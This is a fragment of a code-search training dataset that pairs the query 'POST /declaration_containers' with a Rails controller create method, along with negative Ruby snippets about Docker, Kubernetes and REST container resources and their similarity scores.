|format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end" ]
[ "0.721692", "0.7153837", "0.70260745", "0.68807894", "0.6873884", "0.6738005", "0.6662435", "0.6646981", "0.6574454", "0.6452609", "0.6448426", "0.6389368", "0.63851917", "0.6368986", "0.63640416", "0.63312155", "0.6325413", "0.630941", "0.6253809", "0.62261295", "0.6225032", "0.6209608", "0.6205292", "0.61801237", "0.61384106", "0.6121096", "0.6099732", "0.6083874", "0.6083392", "0.6077802", "0.6076023", "0.6063701", "0.60612255", "0.6038497", "0.6035491", "0.60248536", "0.60145557", "0.6008824", "0.6008685", "0.5992862", "0.59851635", "0.59851635", "0.5982425", "0.5979856", "0.5974037", "0.5958989", "0.59491813", "0.59398735", "0.59247375", "0.5922266", "0.59211516", "0.59191096", "0.59190637", "0.59187174", "0.59076786", "0.5902966", "0.5902966", "0.5902966", "0.5902966", "0.5902966", "0.5901856", "0.5901234", "0.59009624", "0.5900897", "0.58969873", "0.5894747", "0.5891988", "0.589198", "0.58919424", "0.588667", "0.5882296", "0.58793163", "0.58576834", "0.5854058", "0.58501124", "0.5845743", "0.5845743", "0.5843547", "0.5842831", "0.5839933", "0.5838328", "0.5837173", "0.5834638", "0.58327806", "0.5832652", "0.5824561", "0.5816349", "0.58158946", "0.5813928", "0.581299", "0.581299", "0.58127934", "0.5806878", "0.5800243", "0.57932293", "0.57918215", "0.5789983", "0.5789983", "0.57846093", "0.57846093" ]
0.7340427
0
POST /declaration_containers POST /declaration_containers.json
def create @declaration_container = DeclarationContainer.new(params[:declaration_container]) respond_to do |format| if @declaration_container.save format.html { redirect_to new_declaration_container_url(:declaration_id => @declaration_container.declaration_id), notice: 'Declaration container was successfully created.' } format.json { render json: @declaration_container, status: :created, location: @declaration_container } else format.html { render action: "new" } format.json { render json: @declaration_container.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end", "def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end", "def create params = {}, body = {}\n @connection.request(method: :post, path: build_path(\"/containers/create\", params), headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def create_container(collection, container = nil)\n active_container = container\n if active_container.nil?\n active_container = {\n \"metadata\": [\n {\n \"key\": \"dc.title\",\n \"language\": \"en_US\",\n \"value\": \"Empty Container Document\"\n },\n {\n \"key\": \"dc.contributor.author\",\n \"language\": \"en_US\",\n \"value\": \"Data Services, Bobst Library\"\n }\n ]\n }\n end\n cmd = `curl -X POST -H \"Content-Type: application/json\" -H \"Accept: application/json\" -H \"rest-dspace-token: #{@token}\" -d '#{JSON.generate(active_container)}' #{ENV[\"FDA_REST_ENDPOINT\"]}/collections/#{collection}/items --insecure -s`\n return JSON.parse(cmd)\n end", "def create\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers/\"+params[:containerID].to_s+\"/deploy.json\"), (sesh :current_token))\n json_respond response.body\n end", "def container_params\n params.require(:container).permit(:name, :container_name, :image)\n end", "def create # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.create(@options[:container])\n if newcontainer.code == '201'\n puts \"Container #{@options[:container]} created\"\n else\n @util.response_handler(newcontainer)\n end \n end", "def index\n @declaration_containers = @declaration.declaration_containers.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @declaration_containers }\n end\n end", "def new\n @declaration_container = DeclarationContainer.new(:declaration_id => @declaration.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def create_container\n\t\t\t\t@command.container_class.new\n\t\t\tend", "def create\n @container = current_user.containers.build(params[:container])\n \n respond_to do |format|\n if @container.save\n flash[:notice] = 'Container was successfully created.'\n format.html { redirect_to(@container) }\n format.xml { render :xml => @container, :status => :created, :location => @container }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def handle_create(event)\n @bus.request 'containers', 'created', event: event.json, container: container_info(event.id)\n end", "def destroy\n @declaration_container.destroy\n\n respond_to do |format|\n format.html { redirect_to declaration_containers_url(:declaration_id => @declaration_container.declaration_id) }\n format.json { head :no_content }\n end\n end", "def container_params\n params.require(:container).permit(:name, :image, :command, :exposed_port, :host_port, :server_id)\n end", "def containers=(value)\n @containers = value\n end", "def create\n @container_stack = ContainerStack.new(params[:container_stack])\n\n respond_to do |format|\n if @container_stack.save\n format.html { redirect_to @container_stack, notice: 'Container stack was successfully created.' }\n format.json { render json: @container_stack, status: :created, location: @container_stack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @container_stack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @serverhascontainer = Serverhascontainer.new(serverhascontainer_params)\n\n respond_to do |format|\n if @serverhascontainer.save\n format.html { redirect_to @serverhascontainer, notice: 'Serverhascontainer was successfully created.' }\n format.json { render :show, status: :created, location: @serverhascontainer }\n else\n format.html { render :new }\n format.json { render json: @serverhascontainer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @level_container = LevelContainer.new(params[:level_container])\n\n respond_to do |format|\n if @level_container.save\n format.html { redirect_to @level_container, notice: 'Level container was successfully created.' }\n format.json { render json: @level_container, status: :created, location: @level_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @level_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n begin\n #get the server chosen container_params[:server_id]\n @currentServer = Server.where(id: container_params[:server_id])\n Docker.url = 'tcp://' + @currentServer[0].ip + \":\" + @currentServer[0].port\n\n #create the container in docker\n if container_params[:exposed_port].blank?\n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image]\n ) \n else \n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image],\n 'ExposedPorts' => { container_params[:exposed_port]+'/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n container_params[:exposed_port]+'/tcp' => [{ 'HostPort' => container_params[:host_port] }]\n }\n }\n )\n end\n\n #adds the container into the database\n @container = Container.new(:name => container_params[:name], :image => container_params[:image], :command => container_params[:command], :exposed_port => container_params[:exposed_port], \n :host_port => container_params[:host_port], :dockercontainer_id => @con.id, :status => 'Created')\n\n Docker.url = ''\n\n respond_to do |format|\n if @container.save\n Serverhascontainer.new(:server_id => @currentServer[0].id, :container_id => @container.id).save\n format.html { redirect_to root_path, notice: 'Container was successfully created.' }\n format.json { render :show, status: :created, location: @container }\n else\n format.html { render :new }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Docker::Error::ClientError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::NotFoundError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n end\n end", "def create\n @container_navigation = ContainerNavigation.new(params[:container_navigation])\n\n respond_to do |format|\n if @container_navigation.save\n format.html { redirect_to @container_navigation, notice: 'Container navigation was successfully created.' }\n format.json { render json: @container_navigation, status: :created, location: @container_navigation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @container_navigation.errors, status: :unprocessable_entity }\n end\n end\n end", "def prepare_container\n exposed_ports = {}\n port_bindings = {}\n links = []\n\n # Build expose and port binding parameters\n if !@attributes[:ports].nil?\n @attributes[:ports].each do |port|\n exposed_ports[\"#{port.container_port}/tcp\"] = {}\n port_bindings[\"#{port.container_port}/tcp\"] = [{\n \"HostIp\" => port.host_ip || '',\n \"HostPort\" => port.host_port || ''\n }]\n end\n end\n\n # Build link parameters\n @dependencies.each do |dependency|\n links << \"#{dependency.stats['Id']}:#{dependency.attributes[:label]}\"\n end\n\n container_config = {\n Image: @attributes[:image],\n Cmd: @attributes[:command],\n Env: @attributes[:environment],\n Volumes: @attributes[:volumes],\n ExposedPorts: exposed_ports,\n HostConfig: {\n Links: links,\n PortBindings: port_bindings\n }\n }\n\n @container = Docker::Container.create(container_config)\n end", "def create_container_data\n # For container env_vars and image info.\n task_definition_arn = first_task.task_definition_arn # task is a method in the superclass: Ssh\n response = ecs.describe_task_definition(task_definition: task_definition_arn)\n task_definition = response.to_h[:task_definition]\n container_definition = task_definition[:container_definitions].first # assumes care about the first container definition\n env_file_data = env_file_data(container_definition[:environment])\n\n sonic_folder = \"/tmp/sonic\"\n FileUtils.mkdir_p(sonic_folder) unless File.exist?(sonic_folder)\n IO.write(\"/tmp/sonic/task-arn.txt\", task_arns.first)\n IO.write(\"/tmp/sonic/docker-image.txt\", container_definition[:image])\n IO.write(\"/tmp/sonic/env-file.txt\", env_file_data)\n FileUtils.cp_r(bash_scripts, \"/tmp/sonic\")\n end", "def wrap_container( payload )\n\n raise Dossia::BadArgumentError, 'This method expects a Nokogiri NodeSet or Element' unless payload.class == Nokogiri::XML::NodeSet or payload.class == Nokogiri::XML::Element\n\n builder = Nokogiri::XML::Builder.new do |xml|\n \n xml.container(\n \"xmlns\" => \"http://www.dossia.org/v2.0/api\",\n \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", \n \"xsi:schemaLocation\" => \"http://www.dossia.org/v2.0/api http://www.dossia.org/v2.0/api/container.xsd\"\n )\n\n end\n\n builder = Nokogiri::XML builder.to_xml\n\n if payload.class == Nokogiri::XML::NodeSet\n payload.each {|node| builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child node }\n else\n builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child payload\n end\n\n builder\n\n end", "def create(container)\n # If the caller has already set an id, trust it.\n container.assign_id!(new_uuid) unless container.id\n container.assign_org_id!(@org_id)\n container.update_timestamps!\n container.last_updated_by!(requester_authz_id)\n\n validate_before_create!(container)\n\n unless container.authz_id\n container.create_authz_object_as(requester_authz_id)\n end\n\n user_side_create(container)\n\n container.persisted!\n container\n end", "def add_container(params = {})\n now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n now = now.gsub(':', '--')\n\n @slug = params.fetch(:slug, now)\n \n containers = self.get_containers\n containers.each do |c|\n return c if c.uri.to_s.match(/\\/#{@slug}\\/?$/) # check if it already exists\n end\n \n # headers = {accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n payload = \"\"\"@prefix ldp: <http://www.w3.org/ns/ldp#> . \n <> a ldp:Container, ldp:BasicContainer .\"\"\"\n etag = Digest::SHA2.hexdigest payload \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n \n response = LDP::HTTPUtils::post(self.uri, headers, payload, self.client.username, self.client.password)\n if response\n newuri = response.headers[:location] \n newcont = self._add_container({:uri => newuri,\n :client => self.client,\n :parent => self,\n :top => self.toplevel_container,\n :init => true})\n unless newcont\n abort \"PROBLEM - cannot add new container with id #{newuri}. BAILING just to be safe\"\n end\n return newcont\n else\n abort \"PROBLEM - cannot create container into #{self.uri}. BAILING just to be safe\"\n end\n \n end", "def create\n @container_content = @container.container_contents.new(params[:container_content])\n\n respond_to do |format|\n if @container_content.save\n format.html { redirect_to(@container_content.container, :notice => 'Container content was successfully created.') }\n format.xml { render :xml => @container_content, :status => :created, :location => @container_content }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @container_content.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @receipt_container = ReceiptContainer.new(params[:receipt_container])\n @receipt_container.company_id = current_user.company_id\n respond_to do |format|\n if @receipt_container.save\n format.html { redirect_to @receipt_container, notice: 'Receipt container was successfully created.' }\n format.json { render json: @receipt_container, status: :created, location: @receipt_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @receipt_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_container(container)\n # Avoid duplicated labels on compose\n while @containers.has_key?(container.attributes[:label]) do\n container.attributes[:label].succ!\n end\n\n @containers[container.attributes[:label]] = container\n true\n end", "def container\n Dry::Types.container\n end", "def containers_page_params\n params.require(:containers_page).permit(:container_id,:page_id)\n end", "def build_containers_tree\n TreeBuilderContainers.new(\"containers_tree\", \"containers\", @sb)\n end", "def create_container_call\n # When CPU is under load we cannot create a healthy container\n CpuLoadHandler.wait_cpu_to_idle\n\n additional_env = ''\n environment_variables.each do |variable|\n additional_env += \" -e #{variable}\"\n end\n emulator_args = is_running_on_emulator ? \"-p #{no_vnc_port}:6080 -e DEVICE='#{device_name}'\" : ''\n emulator_args = \"#{emulator_args}#{additional_env}\"\n @docker_commander.start_container(emulator_args: emulator_args, docker_image: docker_image,\n core_amount: core_amount)\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def create_container_with_http_info(container_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.create_container ...'\n end\n # verify the required parameter 'container_body' is set\n if @api_client.config.client_side_validation && container_body.nil?\n fail ArgumentError, \"Missing the required parameter 'container_body' when calling ContainersApi.create_container\"\n end\n # resource path\n local_var_path = '/containers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(container_body) \n\n # return_type\n return_type = opts[:return_type] || 'Container' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#create_container\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def container\n namespace + '_container'\n end", "def update\n respond_to do |format|\n if @declaration_container.update_attributes(params[:declaration_container])\n format.html { redirect_to @declaration_container, notice: 'Declaration container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @container_item = ContainerItem.new(container_item_params)\n respond_to do |format|\n if @container_item.save\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was successfully created.')}\n format.json { render json: @container_item, status: :created, location: @container_item }\n else\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was NOT successfully created.')}\n format.json { render json: @container_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def run_container(port:, password:, name:)\n response_of_create = create_container(port: port, password: password, name: name)\n return unless response_of_create.success?\n\n container_id = JSON.parse(response_of_create.body).fetch('Id')\n start_container(container_id: container_id)\n rescue StandardError\n false\n end", "def container=(value)\n @container = value\n end", "def create_container\n UI.important(\"Creating container: #{container_name}\")\n CpuLoadHandler.print_cpu_load\n begin\n container = create_container_call\n set_container_name(container)\n rescue StandardError\n UI.important(\"Something went wrong while creating: #{container_name}, will retry in #{@sleep_interval} seconds\")\n CpuLoadHandler.print_cpu_load\n @docker_commander.delete_container\n sleep @sleep_interval\n container = create_container_call\n set_container_name(container)\n end\n @container = get_container_instance(container)\n\n if @container.nil?\n sleep 3\n @container = get_container_instance(container)\n end\n end", "def assign_containers_to_pods!(pods, containers)\n pods.each do |pod|\n pod['containers'] = containers.select do |container|\n container.key?('pod') && container['pod'] == pod['name']\n end\n end\nend", "def flexmock_container=(container)\n end", "def flexmock_container=(container)\n end", "def create_new_container\n puts 'Start creating a new container..'\n host = get_available_host\n if host.nil?\n puts 'Could not found a host with limit enough to create more containers'\n return\n end\n puts \"getting an available port to #{host}\"\n port = get_available_port(host)\n if port.nil?\n puts 'Could not found an available port'\n return\n end\n\n puts \"using port #{port} from #{host}\"\n\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n container = Docker::Container.create(\n 'Image' => \"#{@ws_image}\",\n 'ExposedPorts' => { \n '8070/tcp' => {}\n },\n 'HostConfig' => {\n 'CpuPeriod' => 25000,\n 'PortBindings' => {\n '8070/tcp' => [ { 'HostPort' => \"#{port}\" } ]\n }\n }\n )\n container.start\n register_container(host, port, container.id)\n end", "def get_containers\n assert_not_nil @rdigg.info.get_containers\n end", "def create\n @containers_page = ContainersPage.new(containers_page_params)\n respond_to do |format|\n if @containers_page.save\n @containers_pages = @page.containers_pages\n format.js\n format.html do \n flash[:success] = 'Container was successfully added to page.'\n redirect_to @containers_page\n end\n format.json { render :show, status: :created, location: @containers_page }\n else\n format.js { head :ok }\n format.html { render :new }\n format.json { render json: @containers_page.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_container(name, options={})\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n uri = container_uri(name, query)\n\n headers = service_properties_headers\n\n add_metadata_to_headers(options[:metadata], headers) if options[:metadata]\n\n headers['x-ms-blob-public-access'] = options[:public_access_level].to_s if options[:public_access_level]\n\n response = call(:put, uri, nil, headers)\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.metadata = options[:metadata]\n container\n end", "def create\n @shipping_container = ShippingContainer.new(params[:shipping_container])\n\n respond_to do |format|\n if @shipping_container.save\n flash[:notice] = 'ShippingContainer was successfully created.'\n format.html { redirect_to(admin_shipping_containers_path) }\n format.xml { render :xml => @shipping_container, :status => :created, :location => @shipping_container }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shipping_container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_and_run_container args\n \t# update the timeout for the Excon Http Client\n \t# set the chunk size to enable streaming of log files\n ::Docker.options = {:chunk_size => 1, :read_timeout => 3600}\n container = ::Docker::Container.create(\n \t\t'Image' => args[:image],\n \t\t'Cmd' => args[:command],\n \t\t\"Binds\" => args[:volumes],\n \t\t\"Env\" => args[:environment],\n \t\t'WorkingDir' => args[:working_directory],\n 'NetworkMode' => @network,\n 'name' => args[:name],\n 'PublishAllPorts' => true\n )\n\n output = ''\n\n unless args[:deamon] == true\n thread = Thread.new do\n container.attach(:stream => true, :stdin => nil, :stdout => true, :stderr => true, :logs => false, :tty => false) do\n |stream, chunk|\n if chunk.index('[ERROR]') != nil # deal with hidden characters\n @logger.error chunk.gsub(/\\[.*\\]/,'')\n else\n output += chunk.gsub(/\\[.*\\]/,'') if output == ''\n output += chunk.gsub(/\\[.*\\]/,'').prepend(\" \") unless output == ''\n @logger.debug chunk.gsub(/\\[.*\\]/,'')\n end\n end\n end\n end\n\n \n\n container.start\n \n thread.join unless args[:deamon] == true\n\n success = (container.json['State']['ExitCode'] == 0) ? true: false \n \n @logger.error(output) unless success \n\n \treturn container, success\n end", "def index\n @containers = Container.all\n end", "def new\n @container_stack = ContainerStack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_stack }\n end\n end", "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend", "def create_container(container_type, element_type, size = 0)\n if element_type.respond_to?(:to_str)\n element_type = build(element_type)\n end\n return define_container(container_type.to_str, element_type, size)\n end", "def patch_containers(containers)\n (containers || Array.new).each do |container|\n if container[\"image\"] =~ /.*velum.*/\n container[\"image\"] = \"sles12/velum:development\"\n container[\"volumeMounts\"] ||= Array.new\n container[\"volumeMounts\"] << {\n \"mountPath\" => \"/srv/velum\",\n \"name\" => \"velum-devel\"\n }\n container[\"env\"] ||= Array.new\n container[\"env\"].each do |env|\n env[\"value\"] = \"development\" if env[\"name\"] == \"RAILS_ENV\"\n end\n\n # Ensure the velum_production db is used, this is what the\n # salt mysql returner is configured to use\n container[\"env\"] << {\n \"name\" => \"VELUM_DB_NAME\",\n \"value\" => \"velum_production\"\n }\n end\n end\nend", "def init_containers=(value)\n @init_containers = value\n end", "def create_nvidia_container(tag_name, image, volume_driver)\n puts \"-- Creating Docker Container\"\n container = Docker::Container.create(\n 'name' => tag_name,\n 'Image' => image,\n 'ExposedPorts' => { '9999/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n '8888/tcp' => [{ 'HostPort' => '9999', 'HostIP' => '0.0.0.0'}]\n },\n 'Devices' => [\n { 'PathOnHost' => '/dev/nvidiactl', 'PathInContainer' => '/dev/nvidiactl', 'CgroupPermissions' => 'rwm' },\n { 'PathOnHost' => '/dev/nvidia-uvm', 'PathInContainer' => '/dev/nvidia-uvm', 'CgroupPermissions' => 'rwm'},\n # { 'PathOnHost' => '/dev/nvidia-uvm-tools', 'PathInContainer' => '/dev/nvidia-uvm-tools', 'CgroupPermissions' => 'rwm' },\n { 'PathOnHost' => '/dev/nvidia0', 'PathInContainer' => '/dev/nvidia0', 'CgroupPermissions' => 'rwm' }\n ],\n 'VolumeDriver' => 'nvidia-docker',\n 'Mounts' => [\n { 'Target' => '/usr/local/nvidia', 'Source' => volume_driver, 'Type' => 'bind'}\n ]\n }\n )\n container.start\nend", "def create\n @frame = Frame.new(frame_params)\n frame_storage = FrameStorage.find(params[:frame_storage_id].to_i)\n begin\n Frame.transaction do\n @frame.save\n frame_storage.update_attributes(:frame_id=>@frame.id)\n @frame.batch_create_boxer_storage\n end\n redirect_to @frame, notice: 'Container was successfully created.'\n rescue\n puts '创建架子规格及存储架子的空间出错!'\n render :new\n end\n\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def hits_containers=(value)\n @hits_containers = value\n end", "def add_chef_object(container_name, requestor, object_json)\n post(api_url(\"/#{container_name}\"), requestor, :payload => object_json)\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def start_container(container_id: nil, container_name: nil)\n return if container_id.nil? && container_name.nil?\n\n id = container_id.nil? ? container_name : container_id\n conn.post(\"/containers/#{id}/start\")\n end", "def container\n @container ||= Dry::Container.new\n end", "def ephemeral_containers=(value)\n @ephemeral_containers = value\n end", "def create\n @docker_instance = DockerInstance.new(docker_instance_params)\n @docker_instance.creating!\n respond_to do |format|\n if @docker_instance.save\n format.js\n else\n format.html { render :new }\n format.json { render json: @docker_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "def serverhascontainer_params\n params.require(:serverhascontainer).permit(:container_id, :server_id)\n end", "def save_container(name, expire, **data)\n data.each do |k, v|\n @client.hset(name, k, v)\n @client.expire(name, expire)\n @logger.debug(\"Saving container: #{name} with fields #{data.keys} and expire set to #{expire}\")\n end\n @logger.debug('Container data has been saved to database')\n rescue StandardError => e\n @logger.error(\" Unable to save the to database: #{e} \")\n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def containers\n TestLab::Container.all\n end", "def set_new\n @container = Container.find(params[:container_id])\n @container_row = ContainerRow.new\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def create_container(name, options={})\n # Query\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Scheme + path\n uri = container_uri(name, query)\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(options[:metadata], headers) if options[:metadata]\n headers['x-ms-blob-public-access'] = options[:public_access_level].to_s if options[:public_access_level]\n\n # Call\n response = call(:put, uri, nil, headers, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.metadata = options[:metadata]\n container\n end", "def create\n notify_observers(:before_container_create)\n @user.create\n notify_observers(:after_container_create)\n end", "def validate_container_resources\n (pod_containers.map { |c| c[1..] || [] } + init_containers).flatten(1).each do |container|\n [\n [:resources, :requests, :cpu],\n [:resources, :requests, :memory],\n [:resources, :limits, :cpu],\n [:resources, :limits, :memory],\n ].each do |path|\n next if container.dig(*path)\n name = container[:name] || container[:image] || \"unknown\"\n @errors << \"Container #{name} is missing #{path.join(\".\")}\"\n end\n end\n end", "def container_symbol\n raise NotImplementedError\n end", "def create\n @dock = Dock.new(dock_params)\n\n respond_to do |format|\n if @dock.save\n format.html do\n redirect_to @dock, notice:\n 'Dock was successfully created.'\n end\n format.json { render :show, status: :created, location: @dock }\n else\n format.html { render :new }\n format.json { render json: @dock.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_params\n sample_storage_container_params\n end", "def create!\n doc.kubernetes_release.builds = [builds(:docker_build)]\n Kubernetes::ReleaseDoc.create!(\n doc.attributes.except('id', 'resource_template').merge(kubernetes_release: doc.kubernetes_release)\n )\n end", "def create\n @collection = Collection.new(collection_params)\n build_kiosks(params)\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def attach(options = {})\n options = { :stream => true, :stdout => true }.merge(options)\n connection.post(\"/containers/#{id}/attach\", options)\n end", "def create\n @injection = Injection.new(injection_params)\n\n respond_to do |format|\n if @injection.save\n format.html { redirect_to @injection, notice: 'Injection was successfully created.' }\n format.json { render :show, status: :created, location: @injection }\n else\n format.html { render :new }\n format.json { render json: @injection.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup_container\n assign_unique_vnc_port if port_factor && is_running_on_emulator\n\n if container_available?\n UI.important('Container was already started. Stopping and removing..')\n @docker_commander.delete_container\n end\n\n handle_ports_allocation if is_running_on_emulator && vnc_enabled\n\n pull_from_registry if @pull_latest_image\n\n # Make sure that network bridge for the current container is not already used\n @docker_commander.disconnect_network_bridge\n\n create_container\n\n if is_running_on_emulator && kvm_disabled?\n raise 'Linux requires GPU acceleration for running emulators, but KVM virtualization is not supported by your CPU. Exiting..'\n end\n\n container_state = wait_for_healthy_container\n\n if is_running_on_emulator && container_state\n connection_state = @emulator_commander.check_connection\n container_state = connection_state && connection_state\n end\n\n unless container_state\n UI.important(\"Will retry to create a healthy docker container after #{sleep_interval} seconds\")\n @docker_commander.delete_container\n sleep @sleep_interval\n create_container\n\n unless wait_for_healthy_container\n UI.important('Container is unhealthy. Exiting..')\n begin\n Actions.sh(\"docker logs #{container_name} --tail 200\")\n Actions.sh(\"docker exec -i #{container_name} cat /var/log/supervisor/docker-android.stderr.log\")\n Actions.sh(\"docker exec -i #{container_name} cat /var/log/supervisor/supervisord.log\")\n rescue StandardError\n # do nothing\n end\n # We use code \"2\" as we need something than just standard error code 1, so we can differentiate the next step in CI\n exit 2\n end\n\n if is_running_on_emulator && !@emulator_commander.check_connection\n UI.important('Cannot connect to emulator. Exiting..')\n exit 2\n end\n end\n\n if is_running_on_emulator\n @emulator_commander.disable_animations\n @emulator_commander.increase_logcat_storage\n end\n\n execute_pre_action if @pre_action\n end", "def create\n # @declaration = @form.declaration.new(declaration_params)\n @declaration = Declaration.new(declaration_params)\n @declaration.form_id = params[:form_id]\n\n respond_to do |format|\n if @declaration.save\n format.html { redirect_to admin_form_questions_path(@form), notice: 'Вопрос успешно создан' }\n format.json { render :show, status: :created, location: @declaration }\n else\n format.html { render :new }\n format.json { render json: @declaration.errors, status: :unprocessable_entity }\n end\n end\n end", "def start\n log_debug \"[ #{@node}/#{@environment} ] - Start Podman Container #{@container} ...\"\n @cmd_runner.run_cmd \"#{podman_cmd} container start --cgroup-manager=cgroupfs #{@container}\"\n end", "def create_department\n @department = @company.departments.create(name: params[:department][:name],division_id: params[:division_id])\n \trespond_to do |format|\n format.json { render json: @department }\n end\n end", "def update\n @updated_container = params([:container])\n @container = DeployedContainer.find(params[:container][:id])\n\n nova_ip = nil\n quantum_ip = nil\n if request.headers[\"X-Auth-Token\"] != \"\"\n token = request.headers[\"X-Auth-Token\"]\n begin\n services = Donabe::KEYSTONE.get_endpoints(token)\n services[\"endpoints\"].each do |endpoint|\n if endpoint[\"name\"] == \"nova\"\n nova_ip = 